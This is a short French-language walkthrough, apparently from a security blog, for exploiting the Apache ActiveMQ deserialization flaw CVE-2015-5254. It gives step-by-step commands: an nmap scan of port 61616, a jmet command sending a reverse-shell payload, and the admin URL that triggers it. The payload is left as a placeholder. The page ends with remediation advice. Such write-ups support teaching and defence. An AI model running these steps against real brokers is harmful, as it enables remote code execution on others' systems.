Désérialisation ActiveMQ (CVE-2015-5254)

Description de la vulnérabilité : Les versions 5.x d'Apache ActiveMQ antérieures à 5.13.0 présentent une faille de sécurité provenant de l'absence de restriction des classes pouvant être sérialisées dans le broker. Un attaquant distant peut exploiter cette faille pour exécuter du code arbitraire à l'aide d'un objet ObjectMessage Java Message Service (JMS) sérialisé spécialement conçu.

Versions affectées : Les versions 5.x d'Apache ActiveMQ antérieures à 5.13.0

0x01 Connexion à l'interface d'administration pour déterminer la version : http://IP:8161

Image text

0x02 Vérifier que le port 61616 est ouvert : nmap -sV -Pn -T4 -sC -p 61616 IP Image text

0x03 Envoyer le payload de reverse shell : java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616 Image text

0x04 Cliquer sur Browse pour déclencher event-Message ID — reverse shell obtenu : http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event Image text

Recommandations de correction : Mettre à niveau vers la dernière version et configurer des règles WAF afin d'intercepter les attaques.

ActiveMQ_CVE-2015-5254

Populaires